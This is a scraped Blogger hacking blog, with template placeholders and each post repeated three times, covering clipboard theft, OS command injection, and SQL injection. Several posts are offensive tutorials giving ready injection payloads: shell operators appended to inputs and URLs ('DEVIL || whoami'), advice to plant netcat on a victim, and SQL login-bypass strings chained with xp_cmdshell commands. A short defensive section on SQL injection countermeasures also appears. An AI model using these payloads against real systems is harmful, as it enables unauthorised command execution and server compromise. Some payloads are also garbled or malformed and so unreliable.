I Am King Of India

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

Never Stop Me Now In This World

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

Programming Master Mind Coder

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

Pages

Master Coder

Hacking News , Cyber Crime , Ethical Hacking , CCNA, Seo , Google Adsense , Web Development ,

Showing posts with label Ethical Hacking. Show all posts
Showing posts with label Ethical Hacking. Show all posts

Clipboard Hacking 101


Clipboard Hacking 101


Share 
 
This is one of the most popular things we do on the internet with our keyboard. "Ctrl+C". We copy data (i.e. email address, passwords, ssn, credit cards etc.) here and there and paste to wherever we want to reuse it. But do you realize that the data you copied are stored in what is called a clipboard temporarily and is accessible to anyone and can be stolen when you visit web sites using a combination of Javascripts and ASP (or PHP, or CGI) to write your data to a dabase on another server.

You might be wondering, how on earth is that possible. Its true and possible and we're going to explain how and how to prevent it from now happening. Just read on and i just hope you haven't copied a credit card number recently.

The Clipboard hack is done by the following Source Code:



Yes, with this simple script any website has the potential of stealing your sensitive information to their database.

Now the good news is this vulnerability can only be found on Internet Explorer and to avoid this clipboard hack problem IE users follow this simple steps.

Go to Internet Options -> Security
Press Custom Level
In the security settings, select disable under Allow paste operation via script.


Enjoy... 

Clipboard Hacking 101


Clipboard Hacking 101


Share 
 
This is one of the most popular things we do on the internet with our keyboard. "Ctrl+C". We copy data (i.e. email address, passwords, ssn, credit cards etc.) here and there and paste to wherever we want to reuse it. But do you realize that the data you copied are stored in what is called a clipboard temporarily and is accessible to anyone and can be stolen when you visit web sites using a combination of Javascripts and ASP (or PHP, or CGI) to write your data to a dabase on another server.

You might be wondering, how on earth is that possible. Its true and possible and we're going to explain how and how to prevent it from now happening. Just read on and i just hope you haven't copied a credit card number recently.

The Clipboard hack is done by the following Source Code:



Yes, with this simple script any website has the potential of stealing your sensitive information to their database.

Now the good news is this vulnerability can only be found on Internet Explorer and to avoid this clipboard hack problem IE users follow this simple steps.

Go to Internet Options -> Security
Press Custom Level
In the security settings, select disable under Allow paste operation via script.


Enjoy... 

Clipboard Hacking 101


Clipboard Hacking 101


Share 
 
This is one of the most popular things we do on the internet with our keyboard. "Ctrl+C". We copy data (i.e. email address, passwords, ssn, credit cards etc.) here and there and paste to wherever we want to reuse it. But do you realize that the data you copied are stored in what is called a clipboard temporarily and is accessible to anyone and can be stolen when you visit web sites using a combination of Javascripts and ASP (or PHP, or CGI) to write your data to a dabase on another server.

You might be wondering, how on earth is that possible. Its true and possible and we're going to explain how and how to prevent it from now happening. Just read on and i just hope you haven't copied a credit card number recently.

The Clipboard hack is done by the following Source Code:



Yes, with this simple script any website has the potential of stealing your sensitive information to their database.

Now the good news is this vulnerability can only be found on Internet Explorer and to avoid this clipboard hack problem IE users follow this simple steps.

Go to Internet Options -> Security
Press Custom Level
In the security settings, select disable under Allow paste operation via script.


Enjoy... 

Command InjectionFlaws

Command Injection Flaws


Command injection flaws are another dangerous type of web application vulnerabilities. Their presence in web application is really very much dangerous since attacker will not be required to use any username or password to execute commands using command injection. SQL injection attacks are also form of command injection attacks. Command injection vulnerability is also termed as OS Command injection vulnerability. In this section we will not really discus about how to perform a command injection attack but have our look on what is it, why web applications became vulnerable to them and threat level because of them.


With time web applications has evolved not only to meet requirements put forward by end user but also by web developers. Requirements of a web developer has been met with help of different API. API stands for Application Programming Interface most likely made popular by Java. Most web developers develop and use API's to simplify their further coding and development tasks, many of them are created to practically interact with operating system on which they are running. To lessen down work and coding overload many developers try to use system level shell commands while developing API's, though sometimes it may become a little heavy to run but who cares when you have high end server system. An attacker can modify the way he/she inputs data to exploit this vulnerability. Have a look on some of following examples,

A C Script,
/* Some lines of code */
system(“dir string”);

A Perl Script,
/* Some lines of code */
my $command= “ --some code-- ”;
/* Some lines of code */
$command=$command.param(“dir”);
/* Some lines of code */

An ASP,
/* Some lines of code */
Set oScript = Server.CreateObject(“WSCRIPT.SHELL”)
/* Some lines of code */
Call oScript,Run(“cmd.exe /c dir”);

Above are some examples of faulty coding while developing web API. Each of the above example just shows how to interact with system shell to execute dir command. Now if you are an experienced web developer you might argue on some of the depicted programming practice about completeness. For them I want to clear above are just examples and I am not actually an experienced web developer so please consider above as explanatory examples and not as complete stuff. I just showed few methods of calling shell commands from web applications and there is surely many other methods too.

As you can see above examples, the development tools and software used for web application development are meant to provide dynamic nature to web contents, so you can easily conclude that nearly all web development tools used for web application development which provide dynamic nature to contents may be vulnerable to command injection due to faulty programming practice. But the truth is command injection flaws exists only in web applications which are custom built which means its 100% developer's fault if web application is vulnerable.

Now threat level possessed by command injections are very high because web servers and web applications running on system are most likely are ran with administrative privileges thus an attacker can get complete access to system just by inputting some commands via web application. Due to command injection flaws an attacker can compromise system without going through any phase of remote hacking, attack will be 100% untraceable even if attacker uses a simple proxy server and most devastating part will be he/she will have administrative privileges without knowing any username and password.

Command injection attacks are easy to carry out and still there are several web applications which are directly or indirectly vulnerable to command injection attacks. But in spite of how simple it is to carry out an attacker needs a good knowledge of shell commands of related operating system and operating system itself. So no matter how simple it is, it is tough to understand and so even many skilled and experienced hackers can't perform command injections successfully that's the reason you hardly find description about command injection on most of the websites, forums and books related to hacking.

I hope that's set for now, so next time we meet up we'll discus some real deal about command injections. Thanks for reading, have a nice time and keep visiting.

Command InjectionFlaws

Command Injection Flaws


Command injection flaws are another dangerous type of web application vulnerabilities. Their presence in web application is really very much dangerous since attacker will not be required to use any username or password to execute commands using command injection. SQL injection attacks are also form of command injection attacks. Command injection vulnerability is also termed as OS Command injection vulnerability. In this section we will not really discus about how to perform a command injection attack but have our look on what is it, why web applications became vulnerable to them and threat level because of them.


With time web applications has evolved not only to meet requirements put forward by end user but also by web developers. Requirements of a web developer has been met with help of different API. API stands for Application Programming Interface most likely made popular by Java. Most web developers develop and use API's to simplify their further coding and development tasks, many of them are created to practically interact with operating system on which they are running. To lessen down work and coding overload many developers try to use system level shell commands while developing API's, though sometimes it may become a little heavy to run but who cares when you have high end server system. An attacker can modify the way he/she inputs data to exploit this vulnerability. Have a look on some of following examples,

A C Script,
/* Some lines of code */
system(“dir string”);

A Perl Script,
/* Some lines of code */
my $command= “ --some code-- ”;
/* Some lines of code */
$command=$command.param(“dir”);
/* Some lines of code */

An ASP,
/* Some lines of code */
Set oScript = Server.CreateObject(“WSCRIPT.SHELL”)
/* Some lines of code */
Call oScript,Run(“cmd.exe /c dir”);

Above are some examples of faulty coding while developing web API. Each of the above example just shows how to interact with system shell to execute dir command. Now if you are an experienced web developer you might argue on some of the depicted programming practice about completeness. For them I want to clear above are just examples and I am not actually an experienced web developer so please consider above as explanatory examples and not as complete stuff. I just showed few methods of calling shell commands from web applications and there is surely many other methods too.

As you can see above examples, the development tools and software used for web application development are meant to provide dynamic nature to web contents, so you can easily conclude that nearly all web development tools used for web application development which provide dynamic nature to contents may be vulnerable to command injection due to faulty programming practice. But the truth is command injection flaws exists only in web applications which are custom built which means its 100% developer's fault if web application is vulnerable.

Now threat level possessed by command injections are very high because web servers and web applications running on system are most likely are ran with administrative privileges thus an attacker can get complete access to system just by inputting some commands via web application. Due to command injection flaws an attacker can compromise system without going through any phase of remote hacking, attack will be 100% untraceable even if attacker uses a simple proxy server and most devastating part will be he/she will have administrative privileges without knowing any username and password.

Command injection attacks are easy to carry out and still there are several web applications which are directly or indirectly vulnerable to command injection attacks. But in spite of how simple it is to carry out an attacker needs a good knowledge of shell commands of related operating system and operating system itself. So no matter how simple it is, it is tough to understand and so even many skilled and experienced hackers can't perform command injections successfully that's the reason you hardly find description about command injection on most of the websites, forums and books related to hacking.

I hope that's set for now, so next time we meet up we'll discus some real deal about command injections. Thanks for reading, have a nice time and keep visiting.

Command InjectionFlaws

Command Injection Flaws


Command injection flaws are another dangerous type of web application vulnerabilities. Their presence in web application is really very much dangerous since attacker will not be required to use any username or password to execute commands using command injection. SQL injection attacks are also form of command injection attacks. Command injection vulnerability is also termed as OS Command injection vulnerability. In this section we will not really discus about how to perform a command injection attack but have our look on what is it, why web applications became vulnerable to them and threat level because of them.


With time web applications has evolved not only to meet requirements put forward by end user but also by web developers. Requirements of a web developer has been met with help of different API. API stands for Application Programming Interface most likely made popular by Java. Most web developers develop and use API's to simplify their further coding and development tasks, many of them are created to practically interact with operating system on which they are running. To lessen down work and coding overload many developers try to use system level shell commands while developing API's, though sometimes it may become a little heavy to run but who cares when you have high end server system. An attacker can modify the way he/she inputs data to exploit this vulnerability. Have a look on some of following examples,

A C Script,
/* Some lines of code */
system(“dir string”);

A Perl Script,
/* Some lines of code */
my $command= “ --some code-- ”;
/* Some lines of code */
$command=$command.param(“dir”);
/* Some lines of code */

An ASP,
/* Some lines of code */
Set oScript = Server.CreateObject(“WSCRIPT.SHELL”)
/* Some lines of code */
Call oScript,Run(“cmd.exe /c dir”);

Above are some examples of faulty coding while developing web API. Each of the above example just shows how to interact with system shell to execute dir command. Now if you are an experienced web developer you might argue on some of the depicted programming practice about completeness. For them I want to clear above are just examples and I am not actually an experienced web developer so please consider above as explanatory examples and not as complete stuff. I just showed few methods of calling shell commands from web applications and there is surely many other methods too.

As you can see above examples, the development tools and software used for web application development are meant to provide dynamic nature to web contents, so you can easily conclude that nearly all web development tools used for web application development which provide dynamic nature to contents may be vulnerable to command injection due to faulty programming practice. But the truth is command injection flaws exists only in web applications which are custom built which means its 100% developer's fault if web application is vulnerable.

Now threat level possessed by command injections are very high because web servers and web applications running on system are most likely are ran with administrative privileges thus an attacker can get complete access to system just by inputting some commands via web application. Due to command injection flaws an attacker can compromise system without going through any phase of remote hacking, attack will be 100% untraceable even if attacker uses a simple proxy server and most devastating part will be he/she will have administrative privileges without knowing any username and password.

Command injection attacks are easy to carry out and still there are several web applications which are directly or indirectly vulnerable to command injection attacks. But in spite of how simple it is to carry out an attacker needs a good knowledge of shell commands of related operating system and operating system itself. So no matter how simple it is, it is tough to understand and so even many skilled and experienced hackers can't perform command injections successfully that's the reason you hardly find description about command injection on most of the websites, forums and books related to hacking.

I hope that's set for now, so next time we meet up we'll discus some real deal about command injections. Thanks for reading, have a nice time and keep visiting.

Command Injection | Finding And Exploiting Flaws

Command Injection | Finding And Exploiting Flaws


In our last post we had our look on some basics about command injection flaws. So here we will discus how to find and exploit command injection flaws. In last post I told you that to exploit command injection flaws you must be able to interact with system command shell. Suppose anyhow you suspect that the web application interacts with operating system, its time to check it how you can exploit it. Before you exploit I must make clear that there is practically no guarantee that the command shell web application is interacting is its own shell, remote shell or custom built shell also there's no guarantee that output of executed command will be displayed to you on your web browser. Note that an application can issue operating system commands using input provided by user, URL and even stored and processed cookies.


To find out command injection vulnerability you have to use shell meta-characters also known as shell operators or conditional operators of shell. Following three are meta-characters that are mostly used to exploit vulnerability,

; semi colon
&& AND operator
|| OR operator

Now consider condition one web application is vulnerable to command injection via input box. Then type following command,

ping -n 10 127.0.0.1

if it returns output for command then the application is vulnerable to command injection. Suppose it returns with invalid input, try appending the valid input with || ping 127.0.0.1 command. For example suppose the input field asks for your name then type your name and append it as follows,

Input Name : DEVIL || ping -n 10 127.0.0.1

In some cases you'll find none of the above either returns error message nor it returns output to your web browser. In such cases rather than using ' n ' parameter with ping use ' i ' parameter. Where I represents interval in seconds. First of all use a normal input and note time the web application takes to return output. Then append normal input by interval based ping command and note whether the time exceeds by interval specified by you for example, if

Input Name: DEVIL

takes 3 seconds to process then

Input Name: DEVIL || ping -i 30 127.0.0.1

should approximately take 30-33+ seconds to process. If it does take interval of time specified by you to process then try with different intervals of time. If time exceeds according to specified interval then surely the web application is vulnerable but the web application has disallowed web browser to show shell output. In such cases you have work little on assumption and download a netcat(please have look on out netcat tutorials to know how to use it) file to victim and execute it on victim in listen mode by appending input field by OR operator. If web browser shows output to every command then there's no need to use netcat. Now its time to check who the user is and his/her privileges, to find it use following commands,
Input Name: DEVIL || whoami

will tell you name of user account, note that user account may be administrator.

Input Name: DEVIL || whoami /all

Above command will tell you privileges of current user. Note that this user might be administrator. By the way above commands are windows specific, in Linux and UNIX environment you can use whoami, who, w and pinky commands. All these commands are distribution specific so don't forgot to have a look on man pages before you try them.

Input Name: DEVIL || whoami

will show current user

Input Name: DEVIL || id -u

will show you privileges of user. If above command returns with group id zero then user have administrative privileges.

Now consider second condition in which command can be injected through URL. For example www.victim.com/cgi-bin/page.cgi?data=DEVIL is vulnerable URL. You can check it just as you checked an input box for vulnerability by appending it with ping command,

www.victim.com/cgi-bin/page.cgi?data=DEVIL || ping -n 10 127.0.0.1

But the bitter fact is that above URL will not work because of space between characters. You have to fill up space with space equivalent characters so use %20 as space character. So the above URL will become,

www.victim.com/cgi-bin/page.cgi?data=DEVIL%20||%20ping%20-n%2010%20127.0.0.1

Please note that command injection needs practice so practice it on Damn Vulnerable Web Application(DVWA). Practically we have covered everything that you should know about finding and exploiting command injection rest is left to how you practice it.

That's set for now. Thanks for reading, keep visiting and have a nice time.

Command Injection | Finding And Exploiting Flaws

Command Injection | Finding And Exploiting Flaws


In our last post we had our look on some basics about command injection flaws. So here we will discus how to find and exploit command injection flaws. In last post I told you that to exploit command injection flaws you must be able to interact with system command shell. Suppose anyhow you suspect that the web application interacts with operating system, its time to check it how you can exploit it. Before you exploit I must make clear that there is practically no guarantee that the command shell web application is interacting is its own shell, remote shell or custom built shell also there's no guarantee that output of executed command will be displayed to you on your web browser. Note that an application can issue operating system commands using input provided by user, URL and even stored and processed cookies.


To find out command injection vulnerability you have to use shell meta-characters also known as shell operators or conditional operators of shell. Following three are meta-characters that are mostly used to exploit vulnerability,

; semi colon
&& AND operator
|| OR operator

Now consider condition one web application is vulnerable to command injection via input box. Then type following command,

ping -n 10 127.0.0.1

if it returns output for command then the application is vulnerable to command injection. Suppose it returns with invalid input, try appending the valid input with || ping 127.0.0.1 command. For example suppose the input field asks for your name then type your name and append it as follows,

Input Name : DEVIL || ping -n 10 127.0.0.1

In some cases you'll find none of the above either returns error message nor it returns output to your web browser. In such cases rather than using ' n ' parameter with ping use ' i ' parameter. Where I represents interval in seconds. First of all use a normal input and note time the web application takes to return output. Then append normal input by interval based ping command and note whether the time exceeds by interval specified by you for example, if

Input Name: DEVIL

takes 3 seconds to process then

Input Name: DEVIL || ping -i 30 127.0.0.1

should approximately take 30-33+ seconds to process. If it does take interval of time specified by you to process then try with different intervals of time. If time exceeds according to specified interval then surely the web application is vulnerable but the web application has disallowed web browser to show shell output. In such cases you have work little on assumption and download a netcat(please have look on out netcat tutorials to know how to use it) file to victim and execute it on victim in listen mode by appending input field by OR operator. If web browser shows output to every command then there's no need to use netcat. Now its time to check who the user is and his/her privileges, to find it use following commands,
Input Name: DEVIL || whoami

will tell you name of user account, note that user account may be administrator.

Input Name: DEVIL || whoami /all

Above command will tell you privileges of current user. Note that this user might be administrator. By the way above commands are windows specific, in Linux and UNIX environment you can use whoami, who, w and pinky commands. All these commands are distribution specific so don't forgot to have a look on man pages before you try them.

Input Name: DEVIL || whoami

will show current user

Input Name: DEVIL || id -u

will show you privileges of user. If above command returns with group id zero then user have administrative privileges.

Now consider second condition in which command can be injected through URL. For example www.victim.com/cgi-bin/page.cgi?data=DEVIL is vulnerable URL. You can check it just as you checked an input box for vulnerability by appending it with ping command,

www.victim.com/cgi-bin/page.cgi?data=DEVIL || ping -n 10 127.0.0.1

But the bitter fact is that above URL will not work because of space between characters. You have to fill up space with space equivalent characters so use %20 as space character. So the above URL will become,

www.victim.com/cgi-bin/page.cgi?data=DEVIL%20||%20ping%20-n%2010%20127.0.0.1

Please note that command injection needs practice so practice it on Damn Vulnerable Web Application(DVWA). Practically we have covered everything that you should know about finding and exploiting command injection rest is left to how you practice it.

That's set for now. Thanks for reading, keep visiting and have a nice time.

Command Injection | Finding And Exploiting Flaws

Command Injection | Finding And Exploiting Flaws


In our last post we had our look on some basics about command injection flaws. So here we will discus how to find and exploit command injection flaws. In last post I told you that to exploit command injection flaws you must be able to interact with system command shell. Suppose anyhow you suspect that the web application interacts with operating system, its time to check it how you can exploit it. Before you exploit I must make clear that there is practically no guarantee that the command shell web application is interacting is its own shell, remote shell or custom built shell also there's no guarantee that output of executed command will be displayed to you on your web browser. Note that an application can issue operating system commands using input provided by user, URL and even stored and processed cookies.


To find out command injection vulnerability you have to use shell meta-characters also known as shell operators or conditional operators of shell. Following three are meta-characters that are mostly used to exploit vulnerability,

; semi colon
&& AND operator
|| OR operator

Now consider condition one web application is vulnerable to command injection via input box. Then type following command,

ping -n 10 127.0.0.1

if it returns output for command then the application is vulnerable to command injection. Suppose it returns with invalid input, try appending the valid input with || ping 127.0.0.1 command. For example suppose the input field asks for your name then type your name and append it as follows,

Input Name : DEVIL || ping -n 10 127.0.0.1

In some cases you'll find none of the above either returns error message nor it returns output to your web browser. In such cases rather than using ' n ' parameter with ping use ' i ' parameter. Where I represents interval in seconds. First of all use a normal input and note time the web application takes to return output. Then append normal input by interval based ping command and note whether the time exceeds by interval specified by you for example, if

Input Name: DEVIL

takes 3 seconds to process then

Input Name: DEVIL || ping -i 30 127.0.0.1

should approximately take 30-33+ seconds to process. If it does take interval of time specified by you to process then try with different intervals of time. If time exceeds according to specified interval then surely the web application is vulnerable but the web application has disallowed web browser to show shell output. In such cases you have work little on assumption and download a netcat(please have look on out netcat tutorials to know how to use it) file to victim and execute it on victim in listen mode by appending input field by OR operator. If web browser shows output to every command then there's no need to use netcat. Now its time to check who the user is and his/her privileges, to find it use following commands,
Input Name: DEVIL || whoami

will tell you name of user account, note that user account may be administrator.

Input Name: DEVIL || whoami /all

Above command will tell you privileges of current user. Note that this user might be administrator. By the way above commands are windows specific, in Linux and UNIX environment you can use whoami, who, w and pinky commands. All these commands are distribution specific so don't forgot to have a look on man pages before you try them.

Input Name: DEVIL || whoami

will show current user

Input Name: DEVIL || id -u

will show you privileges of user. If above command returns with group id zero then user have administrative privileges.

Now consider second condition in which command can be injected through URL. For example www.victim.com/cgi-bin/page.cgi?data=DEVIL is vulnerable URL. You can check it just as you checked an input box for vulnerability by appending it with ping command,

www.victim.com/cgi-bin/page.cgi?data=DEVIL || ping -n 10 127.0.0.1

But the bitter fact is that above URL will not work because of space between characters. You have to fill up space with space equivalent characters so use %20 as space character. So the above URL will become,

www.victim.com/cgi-bin/page.cgi?data=DEVIL%20||%20ping%20-n%2010%20127.0.0.1

Please note that command injection needs practice so practice it on Damn Vulnerable Web Application(DVWA). Practically we have covered everything that you should know about finding and exploiting command injection rest is left to how you practice it.

That's set for now. Thanks for reading, keep visiting and have a nice time.

SQL Injection Countermeasures

SQL Injection Countermeasures


SQL injection is kinda complex vulnerability and usually applying a fix will differ on which type of application you are developing. By the way instead of its complexity and different types of injection methods SQL injection is one of the easiest to counter. Following are some measures that can be used against SQL injection attack.


1. As told earlier SQL injection attacks occurs due to non-sanitized input. So our first step would be sanitizing input. At developer level build application which explicitly escapes single quotes and apostrophe, do not validate input of expression type for example, 1 + 1, x+ y etc. By sanitizing input by above method you'll be able to stop SQL injection since application will not accept malicious input.

2. The second solution at developer level is to use Application Programming Interface (API's) which disallow SQL injection. Today nearly every web application development tool has an API which handles SQL queries all by its own, its better to use them because they not only reduce overall development overhead but also provide protection against SQL injection.

3. At system level allow application to run at possible lower privileges, with which it can run flawlessly. There's no need to grant application more privileges than required. It might take little time to apply this but doing so will disallow hacker to retrieve sensitive data from your database since privileges will be limited.

4. Lastly remove unnecessary database packages from your system since they don't only take extra memory and disk space but if any of them is vulnerable your database will become vulnerable too.

Depending upon what kind of application you are developing some or more modifications may need while development to avoid injection. But at practical level above countermeasures can surely be applied to any kind of web application to ensure protection against SQL injection.

SQL Injection Countermeasures

SQL Injection Countermeasures


SQL injection is kinda complex vulnerability and usually applying a fix will differ on which type of application you are developing. By the way instead of its complexity and different types of injection methods SQL injection is one of the easiest to counter. Following are some measures that can be used against SQL injection attack.


1. As told earlier SQL injection attacks occurs due to non-sanitized input. So our first step would be sanitizing input. At developer level build application which explicitly escapes single quotes and apostrophe, do not validate input of expression type for example, 1 + 1, x+ y etc. By sanitizing input by above method you'll be able to stop SQL injection since application will not accept malicious input.

2. The second solution at developer level is to use Application Programming Interface (API's) which disallow SQL injection. Today nearly every web application development tool has an API which handles SQL queries all by its own, its better to use them because they not only reduce overall development overhead but also provide protection against SQL injection.

3. At system level allow application to run at possible lower privileges, with which it can run flawlessly. There's no need to grant application more privileges than required. It might take little time to apply this but doing so will disallow hacker to retrieve sensitive data from your database since privileges will be limited.

4. Lastly remove unnecessary database packages from your system since they don't only take extra memory and disk space but if any of them is vulnerable your database will become vulnerable too.

Depending upon what kind of application you are developing some or more modifications may need while development to avoid injection. But at practical level above countermeasures can surely be applied to any kind of web application to ensure protection against SQL injection.

SQL Injection Countermeasures

SQL Injection Countermeasures


SQL injection is kinda complex vulnerability and usually applying a fix will differ on which type of application you are developing. By the way instead of its complexity and different types of injection methods SQL injection is one of the easiest to counter. Following are some measures that can be used against SQL injection attack.


1. As told earlier SQL injection attacks occurs due to non-sanitized input. So our first step would be sanitizing input. At developer level build application which explicitly escapes single quotes and apostrophe, do not validate input of expression type for example, 1 + 1, x+ y etc. By sanitizing input by above method you'll be able to stop SQL injection since application will not accept malicious input.

2. The second solution at developer level is to use Application Programming Interface (API's) which disallow SQL injection. Today nearly every web application development tool has an API which handles SQL queries all by its own, its better to use them because they not only reduce overall development overhead but also provide protection against SQL injection.

3. At system level allow application to run at possible lower privileges, with which it can run flawlessly. There's no need to grant application more privileges than required. It might take little time to apply this but doing so will disallow hacker to retrieve sensitive data from your database since privileges will be limited.

4. Lastly remove unnecessary database packages from your system since they don't only take extra memory and disk space but if any of them is vulnerable your database will become vulnerable too.

Depending upon what kind of application you are developing some or more modifications may need while development to avoid injection. But at practical level above countermeasures can surely be applied to any kind of web application to ensure protection against SQL injection.

SQL Injection Just A Little Beyond Injection

SQL Injection Just A Little Beyond Injection


If you have been a regular reader of my blog then you might remember following type of SQL queries,

1 ' OR ' 1 ' = ' 1
a ' OR ' 1 ' = ' 1
a ' OR ' a ' = ' a
Login: 1 ' OR ' 1 ' = ' 1
Password : 1 ' OR ' 1 ' = ' 1
http://victim/index.asp?id=1 ' OR ' 1 ' = ' 1


and similar variants they all are usually used to bypass login page. By the while discussing SQL injection several times I mentioned that SQL injection is kinda command injection attack. You might wonder a little if SQL injection is kinda command injection attack then how I can execute commands using it. I intentionally left command injection part in SQL injection to cover it while discussing command injection.

First of all command injection using SQL injection works only on windows based shell means it will not work on Linux. Now how it works, as we know that SQL injection is not only a command injection it is also a code injection attack because each statement in SQL injection is interpreted code which terminates with ' ; ' (semicolon) which acts as statement terminator. While SQL injection you intentionally never use statement terminator because you already know web application does it automatically. While injecting commands a hacker can exploit this to execute commands using SQL injection by terminating statement and appending following command.

exec master..xp_cmdshell “<shell command>” --

If victim is vulnerable to command injection attack via SQL injection then any SQL query you can inject will 100% support above appended code, have a look on following examples,

1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell “dir c:\” –
1 ' ; exec master..xp_cmdshell “dir c:\” –

Above commands will list all folders and files in C drive of vicim,

a ' OR ' 1 ' = ' 1 ; exec master..xp_cmdshell “echo You got hacked>file.txt ” –
a ' ; exec master..xp_cmdshell “echo You got hacked>file.txt ” –

Above statement will add a file in system with message You Got Hacked.

a ' OR ' a ' = ' a '; exec master..xp_cmdshell..xp “ping 127.0.0.1” --
Login: 1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell..xp “ping 127.0.0.1” --

Above statement will ping victim system.

Password : 1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell “ver” –

Above statement will display name and version of victim system. And there should be no surprise because even this works,

http://victim/index.asp?id=1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell “mkdir hacker” --

SQL Injection Just A Little Beyond Injection

SQL Injection Just A Little Beyond Injection


If you have been a regular reader of my blog then you might remember following type of SQL queries,

1 ' OR ' 1 ' = ' 1
a ' OR ' 1 ' = ' 1
a ' OR ' a ' = ' a
Login: 1 ' OR ' 1 ' = ' 1
Password : 1 ' OR ' 1 ' = ' 1
http://victim/index.asp?id=1 ' OR ' 1 ' = ' 1


and similar variants they all are usually used to bypass login page. By the while discussing SQL injection several times I mentioned that SQL injection is kinda command injection attack. You might wonder a little if SQL injection is kinda command injection attack then how I can execute commands using it. I intentionally left command injection part in SQL injection to cover it while discussing command injection.

First of all command injection using SQL injection works only on windows based shell means it will not work on Linux. Now how it works, as we know that SQL injection is not only a command injection it is also a code injection attack because each statement in SQL injection is interpreted code which terminates with ' ; ' (semicolon) which acts as statement terminator. While SQL injection you intentionally never use statement terminator because you already know web application does it automatically. While injecting commands a hacker can exploit this to execute commands using SQL injection by terminating statement and appending following command.

exec master..xp_cmdshell “<shell command>” --

If victim is vulnerable to command injection attack via SQL injection then any SQL query you can inject will 100% support above appended code, have a look on following examples,

1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell “dir c:\” –
1 ' ; exec master..xp_cmdshell “dir c:\” –

Above commands will list all folders and files in C drive of vicim,

a ' OR ' 1 ' = ' 1 ; exec master..xp_cmdshell “echo You got hacked>file.txt ” –
a ' ; exec master..xp_cmdshell “echo You got hacked>file.txt ” –

Above statement will add a file in system with message You Got Hacked.

a ' OR ' a ' = ' a '; exec master..xp_cmdshell..xp “ping 127.0.0.1” --
Login: 1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell..xp “ping 127.0.0.1” --

Above statement will ping victim system.

Password : 1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell “ver” –

Above statement will display name and version of victim system. And there should be no surprise because even this works,

http://victim/index.asp?id=1 ' OR ' 1 ' = ' 1 ' ; exec master..xp_cmdshell “mkdir hacker” --